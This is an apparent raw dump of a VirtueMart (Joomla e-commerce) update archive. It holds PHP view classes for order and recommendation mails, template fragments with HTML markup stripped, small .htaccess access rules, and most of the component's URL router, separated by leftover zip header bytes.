$this->assignRef('recipient', $recipient); } $tpl = null; // vmdebug('my view data',$this->getLayout(),$layout); // ob_start(); // echo '
          ';
          // 		echo debug_print_backtrace();
          // 		echo '
          '; // $dumptrace = ob_get_contents(); // ob_end_clean(); // return false; parent::display($tpl); } // FE public function renderMailLayout($doVendor=false) function renderMailLayout ($doVendor, $recipient) { $this->doVendor=$doVendor; $this->frompdf=false; $this->uselayout = 'mail'; $this->display(); } static function replaceVendorFields ($txt, $vendor) { // TODO: Implement more Placeholders (ordernr, invoicenr, etc.); // REMEMBER TO CHANGE VmVendorPDF::replace_variables IN vmpdf.php, TOO!!! // Page nrs. for mails is always "1" $txt = str_replace('{vm:pagenum}', "1", $txt); $txt = str_replace('{vm:pagecount}', "1", $txt); $txt = str_replace('{vm:vendorname}', $vendor->vendor_store_name, $txt); $imgrepl=''; if (!empty($vendor->images)) { $img = $vendor->images[0]; $imgrepl = "
          ".$img->displayIt($img->file_url,'','',false, '', false, false)."
          "; } $txt = str_replace('{vm:vendorimage}', $imgrepl, $txt); $vendorAddress = shopFunctions::renderVendorAddress($vendor->virtuemart_vendor_id, "
          "); // Trim the final
          from the address, which is inserted by renderVendorAddress automatically! if (substr($vendorAddress, -5, 5) == '
          ') { $vendorAddress = substr($vendorAddress, 0, -5); } $txt = str_replace('{vm:vendoraddress}', $vendorAddress, $txt); $txt = str_replace('{vm:vendorlegalinfo}', $vendor->vendor_legal_info, $txt); $txt = str_replace('{vm:vendordescription}', $vendor->vendor_store_desc, $txt); $txt = str_replace('{vm:tos}', $vendor->vendor_terms_of_service, $txt); return "$txt"; } } PKtl>\Hcom_virtuemart_update/components/com_virtuemart/views/invoice/index.htmlnuW+APKtl>\Ocom_virtuemart_update/components/com_virtuemart/views/recommend/tmpl/index.htmlnuW+APKtl>\T@))Qcom_virtuemart_update/components/com_virtuemart/views/recommend/tmpl/mail_raw.phpnuW+AvendorAddress; echo "\n"; echo "\n"; echo JText::sprintf ('COM_VIRTUEMART_MAIL_SHOPPER_NAME', $this->user->name); echo "\n"; echo "\n"; echo JText::sprintf('COM_VIRTUEMART_RECOMMEND_MAIL_MSG', $this->product->product_name, $this->comment); echo "\n"; $link = JURI::root().'index.php?option=com_virtuemart'; echo "\n\n"; $link= JHTML::_('link', $link, $this->vendor->vendor_name) ; /* GENERAL FOOTER FOR ALL MAILS */ echo JText::_('COM_VIRTUEMART_MAIL_FOOTER' ) . $link; echo "\n"; echo $this->vendor->vendor_name ."\n".$this->vendor->vendor_phone .' '.$this->vendor->vendor_store_name ."\n".strip_tags($this->vendor->vendor_store_desc)."\n".str_replace('
          ',"\n",$this->vendor->vendor_legal_info); echo JText::sprintf('COM_VIRTUEMART_RECOMMEND_MAIL_MSG', $this->product->product_name, $this->comment); $link = JURI::root().'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id='.$this->product->virtuemart_product_id ; echo '
          '.JHTML::_('link',$link, $this->product->product_name).''; include(JPATH_VM_SITE.DS.'views'.DS.'cart'.DS.'tmpl'.DS.'mail_html_footer.php'); PKtl>\%nMcom_virtuemart_update/components/com_virtuemart/views/recommend/tmpl/form.xmlnuW+A PKtl>\_Mcom_virtuemart_update/components/com_virtuemart/views/recommend/tmpl/form.phpnuW+AaddScriptDeclaration(' jQuery(function($){ $("#askform").validationEngine("attach"); var counterResult = $("#comment").val().length; $("#counter").val( counterResult ); $("#comment").keyup( function () { var result = $(this).val(); $("#counter").val( result.length ); }); }); '); $vendorModel = VmModel::getModel ('vendor'); $this->vendor = $vendorModel->getVendor ($this->product->virtuemart_vendor_id); /* Let's see if we found the product */ if (empty ( $this->product )) { echo JText::_ ( 'COM_VIRTUEMART_PRODUCT_NOT_FOUND' ); echo '

          ' . $this->continue_link_html; } else { $session = JFactory::getSession(); $mailRecommendData = $session->get('mailrecommend', 0, 'vm'); if(!empty($this->login)){ echo $this->login; } if(empty($this->login) or VmConfig::get('recommend_unauth',false)){ ?>

          product->product_name ?>

          product->product_s_desc)) { ?>
          product->product_s_desc ?>
          product->images[0]->displayMediaThumb('class="modal product-image"',false); ?>
          trigger('onInit','dynamic_recaptcha_1'); ?>
          PKtl>\j_ttWcom_virtuemart_update/components/com_virtuemart/views/recommend/tmpl/mail_confirmed.phpnuW+A
          PKtl>\)Ncom_virtuemart_update/components/com_virtuemart/views/recommend/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\A7 7 Rcom_virtuemart_update/components/com_virtuemart/views/recommend/tmpl/mail_html.phpnuW+A
          vendorAddress; ?>
          PKtl>\QMcom_virtuemart_update/components/com_virtuemart/views/recommend/view.html.phpnuW+Aredirect(JRoute::_('index.php?option=com_virtuemart')); } $this->login = ''; if(!VmConfig::get('recommend_unauth',false)){ $user = JFactory::getUser(); if($user->guest){ $this->login = shopFunctionsF::getLoginForm(false); //$app->redirect(JRoute::_('index.php?option=com_virtuemart','JGLOBAL_YOU_MUST_LOGIN_FIRST')); } } // Load the product $productModel = VmModel::getModel('product'); $virtuemart_product_id = vRequest::getInt('virtuemart_product_id',0); $this->product = $productModel->getProduct ($virtuemart_product_id); $layout = $this->getLayout(); if($layout != 'form' and $layout != 'mail_confirmed'){ return $this->renderMailLayout('',''); } $show_prices = VmConfig::get('show_prices',1); if($show_prices == '1'){ if(!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'calculationh.php'); } $this->assignRef('show_prices', $show_prices); $document = JFactory::getDocument(); $document->setMetaData('robots','NOINDEX, NOFOLLOW, NOARCHIVE, NOSNIPPET'); /* add javascript for price and cart */ //vmJsApi::jPrice(); $mainframe = JFactory::getApplication(); $pathway = $mainframe->getPathway(); $task = JRequest::getCmd('task'); if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); if(empty($virtuemart_product_id)){ self::showLastCategory($tpl); return; } //$product = $productModel->getProduct($virtuemart_product_id); /* Set Canonic link */ $format = JRequest::getWord('format', 'html'); if ($format == 'html') { $document->addHeadLink( $this->product->link , 'canonical', 'rel', '' ); } /* Set the titles */ $document->setTitle(JText::sprintf('COM_VIRTUEMART_PRODUCT_DETAILS_TITLE',$this->product->product_name.' - '.JText::_('COM_VIRTUEMART_PRODUCT_RECOMMEND'))); if(empty($this->product)){ self::showLastCategory($tpl); return; } $productModel->addImages($this->product,1); /* Load the category */ $category_model = VmModel::getModel('category'); /* Get the category ID */ $virtuemart_category_id = JRequest::getInt('virtuemart_category_id'); if ($virtuemart_category_id == 0 && !empty($this->product)) { if (array_key_exists('0', $this->product->categories)) $virtuemart_category_id = $this->product->categories[0]; } if(!class_exists('shopFunctionsF'))require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); shopFunctionsF::setLastVisitedCategoryId($virtuemart_category_id); if($category_model){ $category = $category_model->getCategory($virtuemart_category_id); $this->assignRef('category', $category); $pathway->addItem($category->category_name,JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_category_id='.$virtuemart_category_id, FALSE)); } //$pathway->addItem(JText::_('COM_VIRTUEMART_PRODUCT_DETAILS'), $uri->toString(array('path', 'query', 'fragment'))); $pathway->addItem($this->product->product_name,JRoute::_('index.php?option=com_virtuemart&view=productdetails&virtuemart_category_id='.$virtuemart_category_id.'&virtuemart_product_id='.$this->product->virtuemart_product_id, FALSE)); // for askquestion $pathway->addItem( JText::_('COM_VIRTUEMART_PRODUCT_ASK_QUESTION')); /* Check for editing access */ /** @todo build edit page */ /* Load the user details */ $this->assignRef('user', JFactory::getUser()); if ($this->product->metadesc) { $document->setDescription( $this->product->metadesc ); } if ($this->product->metakey) { $document->setMetaData('keywords', $this->product->metakey); } if ($mainframe->getCfg('MetaTitle') == '1') { $document->setMetaData('title', $this->product->product_s_desc); //Maybe better product_name } if ($mainframe->getCfg('MetaAuthor') == '1') { $document->setMetaData('author', $this->product->metaauthor); } parent::display($tpl); } function renderMailLayout($doVendor, $recipient) { $this->comment = nl2br(JRequest::getString('comment')); $this->name = vRequest::getString('name'); if (VmConfig::get ('order_mail_html')) { $tpl = 'mail_html'; } else { $tpl = 'mail_raw'; } $this->setLayout ($tpl); // Load the product $productModel = VmModel::getModel('product'); $virtuemart_product_id = vRequest::getInt('virtuemart_product_id',0); $this->product = $productModel->getProduct ($virtuemart_product_id); $productModel->addImages($this->product); $layout = $this->getLayout(); //if($layout != 'form' and $layout != 'mail_confirmed'){ $user = JFactory::getUser (); $vars['user'] = array('name' => $user->name, 'email' => $user->email); $vars['vendorEmail'] = $user->email; $vendorModel = VmModel::getModel ('vendor'); $this->vendor = $vendorModel->getVendor ($this->product->virtuemart_vendor_id); $vendorModel->addImages ($this->vendor); $this->vendor->vendorFields = $vendorModel->getVendorAddressFields(); $vars['vendorAddress']= shopFunctions::renderVendorAddress($this->product->virtuemart_vendor_id, ' - '); $this->vendor->vendor_name =$user->name; foreach( $vars as $key => $val ) { $this->$key = $val; } $this->subject = JText::sprintf('COM_VIRTUEMART_RECOMMEND_PRODUCT',$this->name, $this->product->product_name); parent::display(); } private function showLastCategory($tpl) { $virtuemart_category_id = shopFunctionsF::getLastVisitedCategoryId(); $categoryLink=''; if($virtuemart_category_id){ $categoryLink='&virtuemart_category_id='.$virtuemart_category_id; } $continue_link = JRoute::_('index.php?option=com_virtuemart&view=category'.$categoryLink, FALSE); $continue_link_html = ''.JText::_('COM_VIRTUEMART_CONTINUE_SHOPPING').''; $this->assignRef('continue_link_html', $continue_link_html); // Display it all parent::display($tpl); } } // pure php no closing tagPKtl>\Jcom_virtuemart_update/components/com_virtuemart/views/recommend/index.htmlnuW+APKtl>\)Icom_virtuemart_update/components/com_virtuemart/views/recommend/.htaccessnuW+A Order allow,deny Deny from all PKtl>\JLcom_virtuemart_update/components/com_virtuemart/views/recommend/metadata.xmlnuW+A PKtl>\#o,,@com_virtuemart_update/components/com_virtuemart/views/index.htmlnuW+APKtl>\0 6:com_virtuemart_update/components/com_virtuemart/router.phpnuW+Arouter_disabled) { foreach ($query as $key => $value){ if ($key != 'option') { if ($key != 'Itemid') { $segments[]=$key.'/'.$value; unset($query[$key]); } } } return $segments; } if ($helper->edit) return $segments; /* Full route , heavy work*/ // $lang = $helper->lang ; $view = ''; $jmenu = $helper->menu ; if(isset($query['langswitch'])) unset($query['langswitch']); if(isset($query['view'])){ $view = $query['view']; unset($query['view']); } switch ($view) { case 'virtuemart'; $query['Itemid'] = $jmenu['virtuemart'] ; break; /* Shop category or virtuemart view All ideas are wellcome to improve this because is the biggest and more used */ case 'category'; $start = null; $limitstart = null; $limit = null; if ( isset($query['virtuemart_manufacturer_id']) ) { $segments[] = $helper->lang('manufacturer').'/'.$helper->getManufacturerName($query['virtuemart_manufacturer_id']) ; unset($query['virtuemart_manufacturer_id']); } if ( isset($query['search']) ) { $segments[] = $helper->lang('search') ; unset($query['search']); } if ( isset($query['keyword'] )) { $segments[] = $query['keyword']; unset($query['keyword']); } if ( isset($query['virtuemart_category_id']) ) { if (isset($jmenu['virtuemart_category_id'][ $query['virtuemart_category_id'] ] ) ) $query['Itemid'] = $jmenu['virtuemart_category_id'][$query['virtuemart_category_id']]; else { $categoryRoute = $helper->getCategoryRoute($query['virtuemart_category_id']); if ($categoryRoute->route) $segments[] = $categoryRoute->route; //http://forum.virtuemart.net/index.php?topic=121642.0 if (!empty($categoryRoute->itemId)) { $query['Itemid'] = $categoryRoute->itemId; } else { $query['Itemid'] = false; } } unset($query['virtuemart_category_id']); } if ( isset($jmenu['category']) ) $query['Itemid'] = $jmenu['category']; if ( isset($query['orderby']) ) { $segments[] = $helper->lang('by').','.$helper->lang( $query['orderby']) ; unset($query['orderby']); } if ( isset($query['dir']) ) { if ($query['dir'] =='DESC'){ $dir = 'dirDesc'; } else { $dir = 'dirAsc'; } $segments[] = $dir;//$helper->lang('dir'.$dir) ; unset($query['dir']); } // Joomla replace before route limitstart by start but without SEF this is start ! if ( isset($query['limitstart'] ) ) { $limitstart = $query['limitstart'] ; unset($query['limitstart']); } if ( isset($query['start'] ) ) { $start = $query['start'] ; unset($query['start']); } if ( isset($query['limit'] ) ) { $limit = $query['limit'] ; unset($query['limit']); } if ($start !== null && $limitstart!== null ) { //$segments[] = $helper->lang('results') .',1-'.$start ; } else if ( $start>0 ) { // using general limit if $limit is not set if ($limit === null) $limit= vmrouterHelper::$limit ; $segments[] = $helper->lang('results') .','. ($start+1).'-'.($start+$limit); } else if ($limit !== null && $limit != vmrouterHelper::$limit ) $segments[] = $helper->lang('results') .',1-'.$limit ;//limit change return $segments; break; /* Shop product details view */ case 'productdetails'; $virtuemart_product_id = false; if (isset($jmenu['virtuemart_product_id'][ $query['virtuemart_product_id'] ] ) ) { $query['Itemid'] = $jmenu['virtuemart_product_id'][$query['virtuemart_product_id']]; unset($query['virtuemart_product_id']); unset($query['virtuemart_category_id']); } else { if(isset($query['virtuemart_product_id'])) { if ($helper->use_id) $segments[] = $query['virtuemart_product_id']; $virtuemart_product_id = $query['virtuemart_product_id']; unset($query['virtuemart_product_id']); } if(empty( $query['virtuemart_category_id'])){ $query['virtuemart_category_id'] = $helper->getParentProductcategory($virtuemart_product_id); } if(!empty( $query['virtuemart_category_id'])){ $categoryRoute = $helper->getCategoryRoute($query['virtuemart_category_id']); if ($categoryRoute->route) $segments[] = $categoryRoute->route; if ($categoryRoute->itemId) $query['Itemid'] = $categoryRoute->itemId; else $query['Itemid'] = $jmenu['virtuemart']; } else { $query['Itemid'] = $jmenu['virtuemart']?$jmenu['virtuemart']:@$jmenu['virtuemart_category_id'][0]; } unset($query['virtuemart_category_id']); if($virtuemart_product_id) $segments[] = $helper->getProductName($virtuemart_product_id); } if (!count($query)) return $segments; break; case 'manufacturer'; if(isset($query['virtuemart_manufacturer_id'])) { if (isset($jmenu['virtuemart_manufacturer_id'][ $query['virtuemart_manufacturer_id'] ] ) ) { $query['Itemid'] = $jmenu['virtuemart_manufacturer_id'][$query['virtuemart_manufacturer_id']]; } else { $segments[] = $helper->lang('manufacturers').'/'.$helper->getManufacturerName($query['virtuemart_manufacturer_id']) ; if ( isset($jmenu['manufacturer']) ) $query['Itemid'] = $jmenu['manufacturer']; else $query['Itemid'] = $jmenu['virtuemart']; } unset($query['virtuemart_manufacturer_id']); } else { if ( isset($jmenu['manufacturer']) ) $query['Itemid'] = $jmenu['manufacturer']; else $query['Itemid'] = $jmenu['virtuemart']; } break; case 'user'; if ( isset($jmenu['user']) ) $query['Itemid'] = $jmenu['user']; else { $segments[] = $helper->lang('user') ; $query['Itemid'] = $jmenu['virtuemart']; } if (isset($query['task'])) { //vmdebug('my task in user view',$query['task']); if($query['task']=='editaddresscart'){ if ($query['addrtype'] == 'ST'){ $segments[] = $helper->lang('editaddresscartST') ; } else { $segments[] = $helper->lang('editaddresscartBT') ; } } else if($query['task']=='editaddresscheckout'){ if ($query['addrtype'] == 'ST'){ $segments[] = $helper->lang('editaddresscheckoutST') ; } else { $segments[] = $helper->lang('editaddresscheckoutBT') ; } } else if($query['task']=='editaddress'){ if (isset($query['addrtype']) and $query['addrtype'] == 'ST'){ $segments[] = $helper->lang('editaddressST') ; } else { $segments[] = $helper->lang('editaddressBT') ; } } else { $segments[] = $helper->lang($query['task']); } /* if ($query['addrtype'] == 'BT' && $query['task']='editaddresscart') $segments[] = $helper->lang('editaddresscartBT') ; elseif ($query['addrtype'] == 'ST' && $query['task']='editaddresscart') $segments[] = $helper->lang('editaddresscartST') ; elseif ($query['addrtype'] == 'BT') $segments[] = $helper->lang('editaddresscheckoutST') ; elseif ($query['addrtype'] == 'ST') $segments[] = $helper->lang('editaddresscheckoutST') ; else $segments[] = $query['task'] ;*/ unset ($query['task'] , $query['addrtype']); } break; case 'vendor'; /* VM208 */ if(isset($query['virtuemart_vendor_id'])) { if (isset($jmenu['virtuemart_vendor_id'][ $query['virtuemart_vendor_id'] ] ) ) { $query['Itemid'] = $jmenu['virtuemart_vendor_id'][$query['virtuemart_vendor_id']]; } else { if ( isset($jmenu['vendor']) ) { $query['Itemid'] = $jmenu['vendor']; } else { $segments[] = $helper->lang('vendor') ; $query['Itemid'] = $jmenu['virtuemart']; } } } else if ( isset($jmenu['vendor']) ) { $query['Itemid'] = $jmenu['vendor']; } else { $segments[] = $helper->lang('vendor') ; $query['Itemid'] = $jmenu['virtuemart']; } if (isset($query['virtuemart_vendor_id'])) { //$segments[] = $helper->lang('vendor').'/'.$helper->getVendorName($query['virtuemart_vendor_id']) ; $segments[] = $helper->getVendorName($query['virtuemart_vendor_id']) ; unset ($query['virtuemart_vendor_id'] ); } break; case 'cart'; if ( isset($jmenu['cart']) ) $query['Itemid'] = $jmenu['cart']; else { $segments[] = $helper->lang('cart') ; $query['Itemid'] = $jmenu['virtuemart']; } break; case 'orders'; if ( isset($jmenu['orders']) ) $query['Itemid'] = $jmenu['orders']; else { $segments[] = $helper->lang('orders') ; $query['Itemid'] = $jmenu['virtuemart']; } if ( isset($query['order_number']) ) { $segments[] = 'number/'.$query['order_number']; unset ($query['order_number'],$query['layout']); } else if ( isset($query['virtuemart_order_id']) ) { $segments[] = 'id/'.$query['virtuemart_order_id']; unset ($query['virtuemart_order_id'],$query['layout']); } //else unset ($query['layout']); break; // sef only view default ; $segments[] = $view; } // if (!class_exists( 'VmConfig' )) require(JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_virtuemart'.DS.'helpers'.DS.'config.php'); // vmdebug("case 'productdetails'",$query); if (isset($query['task'])) { $segments[] = $helper->lang($query['task']); unset($query['task']); } if (isset($query['layout'])) { $segments[] = $helper->lang($query['layout']) ; unset($query['layout']); } // sef the slimbox View /* if (isset($query['tmpl'])) { //if ( $query['tmpl'] = 'component') $segments[] = 'modal' ; $segments[] = $query['tmpl'] ; unset($query['tmpl']); }*/ return $segments; } /* This function can be slower because is used only one time to find the real URL*/ function virtuemartParseRoute($segments) { $vars = array(); $helper = vmrouterHelper::getInstance(); if ($helper->router_disabled) { $total = count($segments); for ($i = 0; $i < $total; $i=$i+2) { $vars[ $segments[$i] ] = $segments[$i+1]; } return $vars; } if (empty($segments)) { return $vars; } //$lang = $helper->lang ; // revert '-' (Joomla change - to :) // foreach ($segments as &$value) { $value = str_replace(':', '-', $value); } /*$vars['view'] = 'category'; if(isset($helper->activeMenu->virtuemart_category_id)){ $vars['virtuemart_category_id'] = $helper->activeMenu->virtuemart_category_id ; }*/ // $splitted = explode(',',$segments[0],2); $splitted = explode(',',end($segments),2); if ( $helper->compareKey($splitted[0] ,'results')){ // array_shift($segments); array_pop($segments); $results = explode('-',$splitted[1],2); //Pagination has changed, removed the -1 note by Max Milbers NOTE: Works on j1.5, but NOT j1.7 // limitstart is swapped by joomla to start ! See includes/route.php if ($start = $results[0]-1) $vars['limitstart'] = $start; else $vars['limitstart'] = 0 ; $vars['limit'] = $results[1]-$results[0]+1; } else { $vars['limitstart'] = 0 ; if(vmrouterHelper::$limit === null){ vmrouterHelper::$limit = VmConfig::get('list_limit', 20); } $vars['limit'] = vmrouterHelper::$limit; } if (empty($segments)) { $vars['view'] = 'category'; $vars['virtuemart_category_id'] = $helper->activeMenu->virtuemart_category_id ; return $vars; } //Translation of the ordering direction is not really useful and costs just energy //if ( $helper->compareKey(end($segments),'dirDesc') ){ if ( end($segments) == 'dirDesc' ){ $vars['dir'] ='DESC' ; array_pop($segments); if (empty($segments)) { $vars['view'] = 'category'; $vars['virtuemart_category_id'] = $helper->activeMenu->virtuemart_category_id ; return $vars; } } else //if ( $helper->compareKey(end($segments),'dirAsc') ){ if ( end($segments) == 'dirAsc' ){ $vars['dir'] ='ASC' ; array_pop($segments); if (empty($segments)) { $vars['view'] = 'category'; $vars['virtuemart_category_id'] = $helper->activeMenu->virtuemart_category_id ; return $vars; } } // $orderby = explode(',',$segments[0],2); $orderby = explode(',',end($segments),2); if ( $helper->compareKey($orderby[0] , 'by') ) { $vars['orderby'] = $helper->getOrderingKey($orderby[1]) ; // array_shift($segments); array_pop($segments); if (empty($segments)) { $vars['view'] = 'category'; $vars['virtuemart_category_id'] = $helper->activeMenu->virtuemart_category_id ; return $vars; } } if ( $segments[0] == 'product') { $vars['view'] = 'product'; $vars['task'] = $segments[1]; $vars['tmpl'] = 'component'; return $vars; } if ( $segments[0] == 'checkout') { $vars['view'] = 'cart'; $vars['task'] = $segments[0]; return $vars; } if ( $helper->compareKey($segments[0] ,'manufacturer') ) { if(!empty($segments[1])){ array_shift($segments); $vars['virtuemart_manufacturer_id'] = $helper->getManufacturerId($segments[0]); } array_shift($segments); // OSP 2012-02-29 removed search malforms SEF path and search is performed // $vars['search'] = 'true'; if (empty($segments)) { $vars['view'] = 'category'; $vars['virtuemart_category_id'] = $helper->activeMenu->virtuemart_category_id ; return $vars; } } /* added in vm208 */ // if no joomla link: vendor/vendorname/layout // if joomla link joomlalink/vendorname/layout if ( $helper->compareKey($segments[0] ,'vendor') ) { $vars['virtuemart_vendor_id'] = $helper->getVendorId($segments[1]); // OSP 2012-02-29 removed search malforms SEF path and search is performed // $vars['search'] = 'true'; // this can never happen if (empty($segments)) { $vars['view'] = 'vendor'; $vars['virtuemart_vendor_id'] = $helper->activeMenu->virtuemart_vendor_id ; return $vars; } } if ( $helper->compareKey($segments[0] ,'search') ) { $vars['search'] = 'true'; array_shift($segments); if ( !empty ($segments) ) { $vars['keyword'] = array_shift($segments); } $vars['view'] = 'category'; $vars['virtuemart_category_id'] = $helper->activeMenu->virtuemart_category_id ; if (empty($segments)) return $vars; } if (end($segments) == 'modal') { $vars['tmpl'] = 'component'; array_pop($segments); } if ( $helper->compareKey(end($segments) ,'askquestion') ) { $vars = (array)$helper->activeMenu ; $vars['task'] = 'askquestion'; array_pop($segments); } elseif ( $helper->compareKey(end($segments) ,'recommend') ) { $vars = (array)$helper->activeMenu ; $vars['task'] = 'recommend'; array_pop($segments); } elseif ( $helper->compareKey(end($segments) ,'notify') ) { $vars = (array)$helper->activeMenu ; $vars['layout'] = 'notify'; array_pop($segments); } if (empty($segments)) return $vars ; // View is first segment now $view = $segments[0]; if ( $helper->compareKey($view,'orders') || $helper->activeMenu->view == 'orders') { $vars['view'] = 'orders'; if ( $helper->compareKey($view,'orders')){ array_shift($segments); } if (empty($segments)) { $vars['layout'] = 'list'; } else if ($helper->compareKey($segments[0],'list') ) { $vars['layout'] = 'list'; array_shift($segments); } if ( !empty($segments) ) { if ($segments[0] =='number') $vars['order_number'] = $segments[1] ; else $vars['virtuemart_order_id'] = $segments[1] ; $vars['layout'] = 'details'; } return $vars; } else if ( $helper->compareKey($view,'user') || $helper->activeMenu->view == 'user') { $vars['view'] = 'user'; if ( $helper->compareKey($view,'user') ) { array_shift($segments); } if ( !empty($segments) ) { if ( $helper->compareKey($segments[0] ,'editaddresscartBT') ) { $vars['addrtype'] = 'BT' ; $vars['task'] = 'editaddresscart' ; } elseif ( $helper->compareKey($segments[0] ,'editaddresscartST') ) { $vars['addrtype'] = 'ST' ; $vars['task'] = 'editaddresscart' ; } elseif ( $helper->compareKey($segments[0] ,'editaddresscheckoutBT') ) { $vars['addrtype'] = 'BT' ; $vars['task'] = 'editaddresscheckout' ; } elseif ( $helper->compareKey($segments[0] ,'editaddresscheckoutST') ) { $vars['addrtype'] = 'ST' ; $vars['task'] = 'editaddresscheckout' ; } elseif ( $helper->compareKey($segments[0] ,'editaddressST') ) { $vars['addrtype'] = 'ST' ; $vars['task'] = 'editaddressST' ; } elseif ( $helper->compareKey($segments[0] ,'editaddressBT') ) { $vars['addrtype'] = 'BT' ; $vars['task'] = 'edit' ; $vars['layout'] = 'edit' ; //I think that should be the layout, not the task } elseif ( $helper->compareKey($segments[0] ,'edit') ) { $vars['layout'] = 'edit' ; //uncomment and lets test } else $vars['task'] = $segments[0] ; } return $vars; } else if ( $helper->compareKey($view,'vendor') || $helper->activeMenu->view == 'vendor') { /* vm208 */ $vars['view'] = 'vendor'; if ( $helper->compareKey($view,'vendor') ) { array_shift($segments); if (empty($segments)) return $vars; } //$vars['virtuemart_vendor_id'] = array_shift($segments);//// already done //array_shift($segments); $vars['virtuemart_vendor_id'] = $helper->getVendorId($segments[0]); array_shift($segments); if(!empty($segments)) { if ( $helper->compareKey($segments[0] ,'contact') ) $vars['layout'] = 'contact' ; elseif ( $helper->compareKey($segments[0] ,'tos') ) $vars['layout'] = 'tos' ; elseif ( $helper->compareKey($segments[0] ,'details') ) $vars['layout'] = 'details' ; } else $vars['layout'] = 'details' ; return $vars; } elseif ( $helper->compareKey($segments[0] ,'pluginresponse') ) { $vars['view'] = 'pluginresponse'; array_shift($segments); if ( !empty ($segments) ) { $vars['task'] = $segments[0]; array_shift($segments); } if ( isset($segments[0]) && $segments[0] == 'modal') { $vars['tmpl'] = 'component'; array_shift($segments); } return $vars; } else if ( $helper->compareKey($view,'cart') || $helper->activeMenu->view == 'cart') { $vars['view'] = 'cart'; if ( $helper->compareKey($view,'cart') ) { array_shift($segments); if (empty($segments)) return $vars; } if ( $helper->compareKey($segments[0] ,'edit_shipment') ) $vars['task'] = 'edit_shipment' ; elseif ( $helper->compareKey($segments[0] ,'editpayment') ) $vars['task'] = 'editpayment' ; elseif ( $helper->compareKey($segments[0] ,'delete') ) $vars['task'] = 'delete' ; elseif ( $helper->compareKey($segments[0] ,'checkout') ) $vars['task'] = 'checkout' ; else $vars['task'] = $segments[0]; return $vars; } else if ( $helper->compareKey($view,'manufacturers') || $helper->activeMenu->view == 'manufacturer') { $vars['view'] = 'manufacturer'; if ( $helper->compareKey($view,'manufacturers') ) { array_shift($segments); } if (!empty($segments) ) { $vars['virtuemart_manufacturer_id'] = $helper->getManufacturerId($segments[0]); array_shift($segments); } if ( isset($segments[0]) && $segments[0] == 'modal') { $vars['tmpl'] = 'component'; array_shift($segments); } // if (isset($helper->activeMenu->virtuemart_manufacturer_id)) // $vars['virtuemart_manufacturer_id'] = $helper->activeMenu->virtuemart_manufacturer_id ; vmdebug('my parsed URL vars',$vars); return $vars; } /* * seo_sufix must never be used in category or router can't find it * eg. suffix as "-suffix", a category with "name-suffix" get always a false return * Trick : YOu can simply use "-p","-x","-" or ".htm" for better seo result if it's never in the product/category name ! */ /* if (substr(end($segments ), -(int)$helper->seo_sufix_size ) == $helper->seo_sufix ) { vmdebug('$segments productdetail',$segments,end($segments ));*/ $last_elem = end($segments); $slast_elem = prev($segments); if ( (substr($last_elem, -(int)$helper->seo_sufix_size ) == $helper->seo_sufix) || ($last_elem=='notify' && substr($slast_elem, -(int)$helper->seo_sufix_size ) == $helper->seo_sufix) ) { $vars['view'] = 'productdetails'; if($last_elem=='notify') { $vars['layout'] = 'notify'; array_pop($segments); } if (!$helper->use_id ) { $product = $helper->getProductId($segments ,$helper->activeMenu->virtuemart_category_id); $vars['virtuemart_product_id'] = $product['virtuemart_product_id']; $vars['virtuemart_category_id'] = $product['virtuemart_category_id']; //vmdebug('View productdetails, using case !$helper->use_id',$vars,$helper->activeMenu); } elseif (isset($segments[1]) ){ $vars['virtuemart_product_id'] = $segments[0]; $vars['virtuemart_category_id'] = $segments[1]; //vmdebug('View productdetails, using case isset($segments[1]',$vars); } else { $vars['virtuemart_product_id'] = $segments[0]; $vars['virtuemart_category_id'] = $helper->activeMenu->virtuemart_category_id ; //vmdebug('View productdetails, using case "else", which uses $helper->activeMenu->virtuemart_category_id ',$vars); } } elseif (!$helper->use_id && ($helper->activeMenu->view == 'category' ) ) { $vars['virtuemart_category_id'] = $helper->getCategoryId (end($segments) ,$helper->activeMenu->virtuemart_category_id); $vars['view'] = 'category' ; } elseif (isset($segments[0]) && ctype_digit ($segments[0]) || $helper->activeMenu->virtuemart_category_id>0 ) { $vars['virtuemart_category_id'] = $segments[0]; $vars['view'] = 'category'; } elseif ($helper->activeMenu->virtuemart_category_id >0 && $vars['view'] != 'productdetails') { $vars['virtuemart_category_id'] = $helper->activeMenu->virtuemart_category_id ; $vars['view'] = 'category'; } elseif ($id = $helper->getCategoryId (end($segments) ,$helper->activeMenu->virtuemart_category_id )) { // find corresponding category . If not, segment 0 must be a view $vars['virtuemart_category_id'] = $id; $vars['view'] = 'category' ; } else { $vars['view'] = $segments[0] ; if ( isset($segments[1]) ) { $vars['task'] = $segments[1] ; } } //vmdebug('Router vars',$vars); return $vars; } class vmrouterHelper { /* language array */ public $lang = null ; public $query = array(); /* Joomla menus ID object from com_virtuemart */ public $menu = null ; /* Joomla active menu( itemId ) object */ public $activeMenu = null ; public $menuVmitems = null; /* * $use_id type boolean * Use the Id's of categorie and product or not */ public $use_id = false ; public $seo_translate = false ; private $orderings = null ; public static $limit = null ; /* * $router_disabled type boolean * true = don't Use the router */ public $router_disabled = false ; /* instance of class */ private static $_instance = false; private static $_catRoute = array (); public $CategoryName = array(); private $dbview = array('vendor' =>'vendor','category' =>'category','virtuemart' =>'virtuemart','productdetails' =>'product','cart' => 'cart','manufacturer' => 'manufacturer','user'=>'user'); private function __construct($query) { if (!$this->router_disabled = VmConfig::get('seo_disabled', false)) { $this->seo_translate = VmConfig::get('seo_translate', false); $this->vmlang = VMLANG; if ( $this->seo_translate ) { $this->Jlang = VmConfig::loadJLang('com_virtuemart.sef',true); } else { $this->Jlang = JFactory::getLanguage(); } if ( JVM_VERSION===1 ) $this->setMenuItemId(); else $this->setMenuItemIdJ17(); $this->setActiveMenu(); $this->use_id = VmConfig::get('seo_use_id', false); $this->seo_sufix = VmConfig::get('seo_sufix', '-detail'); $this->seo_sufix_size = strlen($this->seo_sufix) ; $this->edit = ('edit' == JRequest::getCmd('task') ); // if language switcher we must know the $query $this->query = $query; } } public static function getInstance(&$query = null) { if (!class_exists( 'VmConfig' )) { require(JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_virtuemart'.DS.'helpers'.DS.'config.php'); } 